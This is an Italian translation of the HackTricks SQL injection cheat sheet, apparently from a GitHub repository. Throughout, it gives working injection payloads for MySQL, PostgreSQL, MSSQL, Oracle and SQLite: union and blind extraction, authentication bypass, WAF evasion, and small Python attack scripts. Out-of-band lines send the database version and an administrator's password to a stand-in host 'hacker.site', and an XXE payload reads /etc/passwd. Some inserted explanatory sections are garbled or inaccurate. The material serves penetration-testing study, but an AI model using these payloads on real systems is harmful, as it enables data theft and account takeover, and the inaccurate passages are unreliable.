hacktricks/pentesting-web/sql-injection/README.md
2024-02-10 13:03:23 +00:00

40 KiB
Raw Blame History

SQL Injection

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

RootedCON è l'evento di sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro bollente per professionisti della tecnologia e della sicurezza informatica in ogni disciplina.

{% embed url="https://www.rootedcon.com/" %}

Cos'è l'SQL injection?

L'SQL injection è una vulnerabilità di sicurezza che consente agli attaccanti di interferire con le query del database di un'applicazione. Questa vulnerabilità può consentire agli attaccanti di visualizzare, modificare o eliminare dati a cui non dovrebbero accedere, inclusi le informazioni di altri utenti o qualsiasi dato a cui l'applicazione può accedere. Tali azioni possono comportare modifiche permanenti alla funzionalità o al contenuto dell'applicazione o addirittura compromettere il server o causare un rifiuto del servizio.

Rilevamento del punto di ingresso

Quando un sito sembra essere vulnerabile all'SQL injection (SQLi) a causa di risposte anomale del server a input correlati all'SQLi, il primo passo è capire come iniettare dati nella query senza interromperla. Ciò richiede l'identificazione del metodo per uscire dal contesto corrente in modo efficace. Ecco alcuni utili esempi:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Quindi, è necessario sapere come correggere la query in modo che non ci siano errori. Per correggere la query è possibile inserire dati in modo che la query precedente accetti i nuovi dati, oppure è possibile semplicemente inserire i propri dati e aggiungere un simbolo di commento alla fine.

Nota che se puoi vedere i messaggi di errore o notare differenze quando una query funziona e quando non funziona, questa fase sarà più facile.

Commenti

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Conferma con operazioni logiche

Un metodo affidabile per confermare una vulnerabilità di SQL injection consiste nell'eseguire un'operazione logica e osservare i risultati attesi. Ad esempio, se un parametro GET come ?username=Peter produce lo stesso contenuto quando viene modificato in ?username=Peter' or '1'='1, ciò indica una vulnerabilità di SQL injection.

Allo stesso modo, l'applicazione di operazioni matematiche serve come tecnica di conferma efficace. Ad esempio, se l'accesso a ?id=1 e ?id=2-1 produce lo stesso risultato, ciò indica una SQL injection.

Esempi che dimostrano la conferma tramite operazioni logiche:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Questa lista di parole è stata creata per cercare di confermare le SQL injection nel modo proposto:

{% file src="../../.gitbook/assets/sqli-logic.txt" %}

Conferma tramite Timing

In alcuni casi non noterai alcun cambiamento nella pagina che stai testando. Pertanto, un buon modo per scoprire le SQL injection cieche è far sì che il database esegua azioni che avranno un impatto sul tempo necessario per caricare la pagina.
Pertanto, concateniamo nella query SQL un'operazione che richiederà molto tempo per essere completata:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

In alcuni casi, le funzioni di sleep potrebbero non essere consentite. Invece di utilizzare tali funzioni, è possibile eseguire operazioni complesse nella query che richiederanno diversi secondi. Gli esempi di queste tecniche verranno commentati separatamente per ogni tecnologia (se presenti).

Identificazione del back-end

Il modo migliore per identificare il back-end è provare ad eseguire le funzioni dei diversi back-end. È possibile utilizzare le funzioni di sleep della sezione precedente o queste (tabella da payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Inoltre, se hai accesso all'output della query, potresti farla stampare la versione del database.

{% hint style="info" %} In questa sezione discuteremo diversi metodi per sfruttare diversi tipi di SQL Injection. Utilizzeremo MySQL come esempio. {% endhint %}

Identificazione con PortSwigger

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

Sfruttare Union Based

Rilevare il numero di colonne

Se puoi vedere l'output della query, questo è il modo migliore per sfruttarlo.
Prima di tutto, dobbiamo scoprire il numero di colonne restituite dalla richiesta iniziale. Questo perché entrambe le query devono restituire lo stesso numero di colonne.
Di solito vengono utilizzati due metodi per questo scopo:

Order/Group by

Per determinare il numero di colonne in una query, incrementa gradualmente il numero utilizzato nelle clausole ORDER BY o GROUP BY fino a quando non si riceve una risposta falsa. Nonostante le diverse funzionalità di GROUP BY e ORDER BY all'interno di SQL, entrambi possono essere utilizzati allo stesso modo per determinare il conteggio delle colonne della query.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Seleziona sempre più valori null fino a quando la query è corretta:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Dovresti utilizzare valori null in alcuni casi in cui il tipo delle colonne di entrambi i lati della query deve essere lo stesso e null è valido in ogni caso.

Estrarre i nomi dei database, i nomi delle tabelle e i nomi delle colonne

Negli esempi successivi andremo a recuperare il nome di tutti i database, il nome della tabella di un database, i nomi delle colonne della tabella:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

C'è un modo diverso per scoprire questi dati su ogni diverso database, ma la metodologia è sempre la stessa.

Sfruttare l'Injection Union Nascosta

Quando l'output di una query è visibile, ma sembra impossibile ottenere un'iniezione basata sull'union, significa che c'è una iniezione basata sull'union nascosta. Questo scenario spesso porta a una situazione di iniezione cieca. Per trasformare un'iniezione cieca in una basata sull'union, è necessario comprendere la query di esecuzione sul backend.

Ciò può essere realizzato utilizzando tecniche di iniezione cieca insieme alle tabelle predefinite specifiche del tuo Database Management System (DBMS) di destinazione. Per comprendere queste tabelle predefinite, si consiglia di consultare la documentazione del DBMS di destinazione.

Una volta estratta la query, è necessario adattare il payload per chiudere in modo sicuro la query originale. Successivamente, viene aggiunta una query di unione al payload, facilitando lo sfruttamento della nuova iniezione basata sull'union accessibile.

Per ulteriori approfondimenti, consulta l'articolo completo disponibile su Healing Blind Injections.

Sfruttare l'Injection basata sull'Errore

Se per qualche motivo non puoi vedere l'output della query ma puoi vedere i messaggi di errore, puoi utilizzare questi messaggi di errore per esfiltrare i dati dal database.
Seguendo un flusso simile all'exploit basato sull'Union, potresti riuscire a scaricare il database.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Sfruttare Blind SQLi

In questo caso non è possibile visualizzare i risultati della query o gli errori, ma è possibile distinguere quando la query restituisce una risposta vera o falsa perché ci sono contenuti diversi sulla pagina.
In questo caso, è possibile sfruttare questo comportamento per estrarre il contenuto del database carattere per carattere:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Sfruttare l'Error Blind SQLi

Questo è lo stesso caso di prima, ma invece di distinguere tra una risposta vera/falsa dalla query, è possibile distinguere tra un errore nella query SQL o meno (forse perché il server HTTP si blocca). Pertanto, in questo caso è possibile forzare un errore SQL ogni volta che si indovina correttamente il carattere:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Sfruttare l'Injection SQL basata sul tempo

In questo caso non c'è alcun modo per distinguere la risposta della query in base al contesto della pagina. Tuttavia, è possibile far sì che la pagina impieghi più tempo per caricarsi se il carattere indovinato è corretto. Abbiamo già visto questa tecnica in uso in precedenza per confermare una vulnerabilità SQLi.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Query Concatenati

Puoi utilizzare le query concatenate per eseguire più query in successione. Tieni presente che mentre le query successive vengono eseguite, i risultati non vengono restituiti all'applicazione. Pertanto, questa tecnica è principalmente utile in relazione a vulnerabilità cieche in cui puoi utilizzare una seconda query per attivare una ricerca DNS, un errore condizionale o un ritardo temporale.

Oracle non supporta le query concatenate. MySQL, Microsoft e PostgreSQL le supportano: QUERY-1-QUI; QUERY-2-QUI

Sfruttamento fuori banda

Se nessun altro metodo di sfruttamento ha funzionato, puoi provare a far esfiltrare le informazioni dal database a un host esterno controllato da te. Ad esempio, tramite query DNS:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Esfiltrazione dei dati fuori banda tramite XXE

L'attacco di esfiltrazione dei dati fuori banda tramite XXE (XML External Entity) sfrutta una vulnerabilità nelle applicazioni web che consentono l'elaborazione di input XML non attendibili. Questo attacco consente a un attaccante di recuperare dati sensibili dal server di destinazione e inviarli a un server controllato dall'attaccante.

Come funziona l'attacco

  1. L'attaccante invia una richiesta contenente un payload XXE all'applicazione web vulnerabile.
  2. L'applicazione web elabora il payload XXE e tenta di analizzare l'input XML.
  3. Il payload XXE contiene un'entità esterna che fa riferimento a un file remoto contenente i dati sensibili.
  4. L'applicazione web tenta di recuperare il file remoto e incorporarlo nell'output XML.
  5. L'attaccante monitora il traffico di rete per rilevare la richiesta del file remoto e recuperare i dati sensibili.

Esempio di payload XXE

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

Nell'esempio sopra, il payload XXE fa riferimento al file /etc/passwd e incorpora il suo contenuto nell'output XML.

Contromisure

Per proteggere le applicazioni web da attacchi di esfiltrazione dei dati fuori banda tramite XXE, è possibile adottare le seguenti contromisure:

  • Validare e filtrare attentamente l'input XML per evitare l'elaborazione di payload XXE non attendibili.
  • Disabilitare le funzionalità non necessarie che potrebbero consentire l'elaborazione di payload XXE.
  • Utilizzare librerie XML sicure che implementano controlli di sicurezza per prevenire attacchi XXE.
  • Mantenere le applicazioni web aggiornate con le ultime patch di sicurezza per mitigare le vulnerabilità note.

Conclusioni

L'attacco di esfiltrazione dei dati fuori banda tramite XXE è un'importante minaccia per le applicazioni web che elaborano input XML non attendibili. È fondamentale adottare le contromisure appropriate per proteggere le applicazioni web da questo tipo di attacco e garantire la sicurezza dei dati sensibili.

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Automazione dell'exploit

Controlla il SQLMap Cheetsheat per sfruttare una vulnerabilità di SQLi con sqlmap.

Informazioni specifiche sulla tecnologia

Abbiamo già discusso tutti i modi per sfruttare una vulnerabilità di SQL Injection. Trova alcuni trucchi specifici della tecnologia del database in questo libro:

Oppure troverai molti trucchi riguardanti: MySQL, PostgreSQL, Oracle, MSSQL, SQLite e HQL in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

RootedCON è l'evento sulla sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro vivace per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.

{% embed url="https://www.rootedcon.com/" %}

Bypass dell'autenticazione

Elenco per provare a bypassare la funzionalità di accesso:

{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}

Bypass dell'autenticazione tramite hash grezzo

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Questa query mostra una vulnerabilità quando MD5 viene utilizzato con true per l'output grezzo nei controlli di autenticazione, rendendo il sistema suscettibile all'iniezione di SQL. Gli attaccanti possono sfruttare ciò creando input che, una volta hashati, producono parti inaspettate di comandi SQL, portando a un accesso non autorizzato.

md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!

Bypass di autenticazione hash iniettata

In alcuni casi, è possibile sfruttare una vulnerabilità di iniezione SQL per bypassare l'autenticazione basata su hash. Questo tipo di attacco sfrutta la debolezza nella gestione delle query SQL per ottenere l'accesso non autorizzato a un sistema.

Descrizione

L'autenticazione basata su hash è un metodo comune per proteggere le password degli utenti. Invece di memorizzare le password in chiaro, vengono create hash delle password e memorizzate nel database. Quando un utente tenta di accedere, la password inserita viene hashata e confrontata con quella memorizzata nel database. Se i due hash corrispondono, l'utente viene autenticato.

Tuttavia, se è presente una vulnerabilità di iniezione SQL, un attaccante potrebbe essere in grado di manipolare la query SQL per bypassare l'autenticazione basata su hash. Questo può essere fatto iniettando una stringa di query SQL che annulla la condizione di confronto degli hash delle password.

Esempio

Supponiamo che il sistema utilizzi la seguente query SQL per autenticare gli utenti:

SELECT * FROM users WHERE username = '<username>' AND password = '<password_hash>'

L'attaccante potrebbe iniettare una stringa di query SQL come questa:

' OR '1'='1

La query risultante sarebbe:

SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '<password_hash>'

Poiché la condizione '1'='1' è sempre vera, l'attaccante otterrebbe l'accesso non autorizzato al sistema, bypassando l'autenticazione basata su hash.

Contromisure

Per prevenire l'iniezione SQL e il bypass dell'autenticazione basata su hash, è importante utilizzare le best practice di sicurezza, come:

  • Validare e sanificare correttamente i dati di input dell'utente.
  • Utilizzare query parametrizzate o prepared statements per evitare l'iniezione SQL.
  • Implementare un meccanismo di autenticazione robusto che non si basi solo sull'hash delle password.
  • Mantenere il sistema e le librerie aggiornate per correggere eventuali vulnerabilità note.

Riferimenti

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Lista consigliata:

Dovresti utilizzare come nome utente ogni riga della lista e come password sempre: Pass1234.
(Questi payload sono inclusi anche nella lista completa menzionata all'inizio di questa sezione)

{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}

Bypass di autenticazione GBK

SE ' viene scappato, puoi utilizzare %A8%27 e quando ' viene scappato verrà creato: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
import requests

def sql_injection(url, payload):
    response = requests.get(url + payload)
    return response.text

if __name__ == "__main__":
    url = input("Enter the URL: ")
    payload = input("Enter the SQL injection payload: ")
    result = sql_injection(url, payload)
    print(result)

Questo è uno script Python che esegue un attacco di SQL injection. L'utente deve inserire l'URL del sito web bersaglio e il payload di SQL injection. Lo script invia una richiesta GET all'URL concatenando il payload e restituisce il testo della risposta.

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Iniezione poliglotta (multicontesto)

Polyglot injection, also known as multicontext injection, is a technique used in SQL injection attacks. It involves crafting a malicious payload that can be interpreted as valid code in multiple database management systems (DBMS) or programming languages.

The goal of polyglot injection is to exploit vulnerabilities in different DBMS or programming languages simultaneously, increasing the chances of a successful attack. By creating a payload that is compatible with multiple contexts, an attacker can target a wider range of systems with a single injection.

To create a polyglot injection, the payload must be carefully crafted to conform to the syntax and rules of each targeted context. This requires a deep understanding of the specific DBMS or programming language being targeted.

Polyglot injections can be particularly effective in scenarios where an application uses multiple DBMS or programming languages. By exploiting a vulnerability in one context, an attacker can potentially gain access to sensitive data or execute arbitrary code in other contexts as well.

It is important for developers and security professionals to be aware of the risks associated with polyglot injections and to implement proper security measures to mitigate these risks. This includes input validation, parameterized queries, and regular security assessments to identify and patch vulnerabilities.

By understanding and being able to detect polyglot injections, security professionals can better protect applications and systems from SQL injection attacks.

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Istruzione di inserimento

Modifica della password di un oggetto/utente esistente

Per farlo, dovresti cercare di creare un nuovo oggetto con lo stesso nome dell'oggetto "principale" (probabilmente admin nel caso degli utenti) modificando qualcosa:

  • Crea un utente chiamato: AdMIn (lettere maiuscole e minuscole)
  • Crea un utente chiamato: admin=
  • Attacco di troncamento SQL (quando c'è un limite di lunghezza nel nome utente o nell'email) --> Crea un utente con il nome: admin [molti spazi] a

Attacco di troncamento SQL

Se il database è vulnerabile e il numero massimo di caratteri per il nome utente è ad esempio 30 e vuoi impersonare l'utente admin, prova a creare un nome utente chiamato: "admin [30 spazi] a" e una qualsiasi password.

Il database verificherà se il nome utente introdotto esiste nel database. Se non esiste, verrà troncato il nome utente al numero massimo di caratteri consentiti (in questo caso a: "admin [25 spazi]") e verranno automaticamente rimossi tutti gli spazi alla fine, aggiornando nel database l'utente "admin" con la nuova password (potrebbero comparire degli errori, ma ciò non significa che non abbia funzionato).

Ulteriori informazioni: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Nota: Questo attacco non funzionerà più come descritto sopra nelle ultime installazioni di MySQL. Sebbene le comparazioni ignorino ancora gli spazi alla fine per impostazione predefinita, tentare di inserire una stringa più lunga della lunghezza di un campo causerà un errore e l'inserimento non avrà successo. Per ulteriori informazioni su questa verifica: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

Controllo basato sul tempo dell'inserimento MySQL

Aggiungi tanti ','','' quanti ne ritieni necessari per uscire dall'istruzione VALUES. Se viene eseguito un ritardo, hai una SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

La clausola ON DUPLICATE KEY UPDATE in MySQL viene utilizzata per specificare le azioni che il database deve intraprendere quando si tenta di inserire una riga che comporterebbe un valore duplicato in un indice UNIQUE o PRIMARY KEY. L'esempio seguente mostra come questa funzionalità possa essere sfruttata per modificare la password di un account amministratore:

Esempio di Iniezione Payload:

Un payload di iniezione potrebbe essere creato nel seguente modo, in cui si tenta di inserire due righe nella tabella users. La prima riga è un diversivo, mentre la seconda riga mira all'email di un amministratore esistente con l'intenzione di aggiornare la password:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Ecco come funziona:

  • La query tenta di inserire due righe: una per generic_user@example.com e un'altra per admin_generic@example.com.
  • Se la riga per admin_generic@example.com esiste già, viene attivata la clausola ON DUPLICATE KEY UPDATE, che istruisce MySQL ad aggiornare il campo password della riga esistente con "bcrypt_hash_of_newpassword".
  • Di conseguenza, l'autenticazione può essere tentata utilizzando admin_generic@example.com con la password corrispondente all'hash bcrypt ("bcrypt_hash_of_newpassword" rappresenta l'hash bcrypt della nuova password, che dovrebbe essere sostituito con l'hash effettivo della password desiderata).

Estrarre informazioni

Creazione di 2 account contemporaneamente

Quando si tenta di creare un nuovo utente, sono necessari nome utente, password ed email:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Utilizzando il decimale o l'esadecimale

Con questa tecnica puoi estrarre informazioni creando solo 1 account. È importante notare che non è necessario commentare nulla.

Utilizzando hex2dec e substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Per ottenere il testo puoi utilizzare:

__import__('binascii').unhexlify(hex(215573607263)[2:])

Utilizzando hex e replace (e substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

RootedCON è l'evento di sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro vivace per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.

{% embed url="https://www.rootedcon.com/" %}

Iniezione SQL instradata

L'iniezione SQL instradata è una situazione in cui la query iniettabile non è quella che restituisce l'output, ma l'output della query iniettabile viene utilizzato nella query che restituisce l'output. (Da Paper)

Esempio:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

Bypass WAF

Bypass iniziali da qui

Bypass senza spazi

Nessuno spazio (%20) - bypass utilizzando alternative per gli spazi bianchi

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass usando commenti

In alcuni casi, gli sviluppatori possono implementare filtri per rilevare e bloccare le iniezioni SQL basate su spazi bianchi. Tuttavia, è possibile aggirare questi filtri utilizzando i commenti.

Sintassi

La sintassi per utilizzare i commenti per aggirare i filtri di spazi bianchi varia a seconda del database utilizzato. Di seguito sono riportati alcuni esempi per i database più comuni:

MySQL

SELECT /*!50000column_name*/ FROM table_name;

PostgreSQL

SELECT column_name/*comment*/FROM table_name;

Oracle

SELECT column_name FROM table_name--comment;

SQL Server

SELECT column_name FROM table_name--comment

Funzionamento

L'idea di base è quella di utilizzare un commento per "nascondere" il codice SQL che segue. I filtri di spazi bianchi non rileveranno il codice all'interno del commento, consentendo così di eseguire l'iniezione SQL.

Esempio

Supponiamo di avere una query SQL che cerca un nome utente e una password all'interno di una tabella:

SELECT * FROM users WHERE username = 'admin' AND password = 'password';

Per aggirare un filtro di spazi bianchi, possiamo utilizzare un commento per nascondere il resto della query:

SELECT * FROM users WHERE username = 'admin'/*' AND password = 'password'*/;

In questo modo, il filtro di spazi bianchi non rileverà la parte commentata della query e l'iniezione SQL avrà successo.

Conclusioni

L'utilizzo dei commenti per aggirare i filtri di spazi bianchi può essere un'utile tecnica di bypass durante un'attività di penetration testing. Tuttavia, è importante notare che questa tecnica potrebbe non funzionare in tutti i casi, poiché dipende dalla configurazione specifica del filtro implementato.

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass usando le parentesi

In alcuni casi, potresti incontrare filtri che cercano di bloccare le iniezioni SQL rimuovendo gli spazi bianchi. Tuttavia, è possibile aggirare questa protezione utilizzando le parentesi.

Tecnica

La tecnica consiste nell'inserire le parentesi per separare le parole chiave degli operatori logici e degli identificatori. In questo modo, è possibile evitare l'uso di spazi bianchi.

Esempio

Supponiamo di avere la seguente query SQL:

SELECT * FROM users WHERE username='admin' AND password='password'

Per aggirare il filtro che rimuove gli spazi bianchi, possiamo utilizzare le parentesi come segue:

SELECT(1)FROM(users)WHERE(username='admin')AND(password='password')

In questo modo, abbiamo separato le parole chiave SELECT, FROM, WHERE, gli operatori logici AND e l'identificatore users utilizzando le parentesi, evitando così l'uso di spazi bianchi.

Conclusioni

Utilizzando le parentesi per separare le parole chiave, gli operatori logici e gli identificatori, è possibile aggirare i filtri che rimuovono gli spazi bianchi. Tuttavia, è importante notare che questa tecnica potrebbe non funzionare in tutti i casi, poiché dipende dalla configurazione specifica del filtro.

?id=(1)and(1)=(1)--

Bypass senza virgole

Bypass senza virgole - utilizzando OFFSET, FROM e JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Bypass generici

Blacklist con parole chiave - bypass utilizzando maiuscole/minuscole

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist utilizzando parole chiave non case sensitive - bypass utilizzando un operatore equivalente

In alcuni casi, un'applicazione web può utilizzare una lista nera (blacklist) per filtrare le parole chiave inserite dagli utenti al fine di prevenire attacchi di SQL injection. Tuttavia, se questa lista nera è case insensitive (non fa distinzione tra maiuscole e minuscole), è possibile aggirarla utilizzando un operatore equivalente.

Ad esempio, se la parola chiave "SELECT" è nella lista nera, è possibile bypassare il filtro utilizzando l'operatore equivalente "sElEcT". In questo modo, l'applicazione non riconoscerà la parola chiave vietata e l'iniezione SQL potrà essere eseguita con successo.

È importante notare che questo metodo funziona solo se l'applicazione non fa distinzione tra maiuscole e minuscole nella lista nera delle parole chiave.

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Notazione scientifica per bypassare il WAF

Puoi trovare una spiegazione più approfondita di questo trucco nel blog di gosecure.
Fondamentalmente puoi utilizzare la notazione scientifica in modi imprevisti per bypassare il WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Bypassare la restrizione dei nomi delle colonne

Prima di tutto, nota che se la query originale e la tabella da cui desideri estrarre la bandiera hanno lo stesso numero di colonne, potresti semplicemente fare: 0 UNION SELECT * FROM flag

È possibile accedere alla terza colonna di una tabella senza utilizzare il suo nome utilizzando una query come la seguente: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, quindi in un'iniezione SQL sarebbe simile a:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Oppure utilizzando un bypass della virgola:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Questo trucco è stato preso da https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Strumenti suggeriti per bypassare il WAF

{% embed url="https://github.com/m4ll0k/Atlas" %}

Altre guide

Elenco di rilevamento Brute-Force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}

RootedCON è l'evento sulla sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro bollente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.

{% embed url="https://www.rootedcon.com/" %}

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!